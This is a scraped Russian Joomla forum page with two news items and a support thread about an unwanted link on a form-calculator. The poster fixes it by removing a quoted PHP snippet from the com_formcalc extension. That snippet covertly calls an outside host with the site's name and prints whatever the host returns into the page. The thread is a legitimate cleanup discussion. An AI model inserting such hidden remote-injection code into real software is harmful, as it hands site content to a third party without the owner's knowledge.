Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

Читать статью на Хабре.

@joomlafeed

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 3 Ответов
  • 1803 Просмотров
*

Takusik

  • Осваиваюсь на форуме
  • 45
  • 3 / 0
К сожалению, не нашла ответа на мой вопрос. Поэтому новая тема.
Если это уже обсуждали, ткните пжл носом.

Через какое-то время после создания сайта на форме обратной связи (форма-калькулятор) появилась видимая левая ссылка. Ссылка только на форме-калькуляторе. При создании сайта этой ссылки точно не было (лично тестировала сайт).

Что делали в последнее время:
1. чистили сайт от левых ссылок
2. установили sh404SEF

Пробовала поискать в файлах по словам, ничего не находит.
Попробовала вернуть на место левые ссылки, отключить sh404SEF, очистить кэш. Ссылка всё равно есть.

Что делать? Где и как ещё можно найти эту ссылку?
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
*

Takusik

  • Осваиваюсь на форуме
  • 45
  • 3 / 0
*

Takusik

  • Осваиваюсь на форуме
  • 45
  • 3 / 0
УРА!
Сама нашла. Ответ здесь же на форуме.

Вот:
Решил проблему с надписью: удалил в файле: components/com_formcalc/views/formcalc/view.html.php вот этот код

Код
$option = JRequest::getString('option');
//echo $option;
$task=  JRequest::getString('view');
$host = "delashop.ru/host.php?";
$who=$_SERVER['HTTP_HOST'];
$who=str_replace('.','_',$who);
$option_p = $option;
$task_p = $task;
$host .=  "who=".$who."&option=".$option_p."&task=".$task_p;

if (function_exists('curl_init')) {
$ch = curl_init($host);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);

curl_setopt($ch, CURLOPT_HEADER, 0);
$contents = curl_exec($ch);         
curl_close($ch);             
echo $contents;
}


В моём случае ссылка пропала только после редактирования components/com_formcalc/views/formcalc/view.html.php
Редактирование plugins/content/formcalc/formcalc.php не помогло.

По этой теме с моей стороны отбой.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Ссылка с баннеров компонента Баннеры Joomla 2.5

Автор DDAANN

Ответов: 8
Просмотров: 2990
Последний ответ 13.10.2020, 10:44:38
от SHURIK
Заголовок как ссылка, как убрать!

Автор Victor333

Ответов: 13
Просмотров: 9311
Последний ответ 09.02.2016, 23:11:51
от beliyadm
Вводный (вступительный, Intro) текст как ссылка?

Автор designer71

Ответов: 11
Просмотров: 3647
Последний ответ 28.12.2015, 16:49:35
от fsv
Зависимые поля в форме регистрации

Автор akhalex38

Ответов: 12
Просмотров: 2722
Последний ответ 16.08.2015, 20:51:04
от beliyadm
Динамическая ссылка на материал. Как настроить?

Автор skidrow

Ответов: 13
Просмотров: 3190
Последний ответ 21.07.2015, 21:06:49
от AdWeb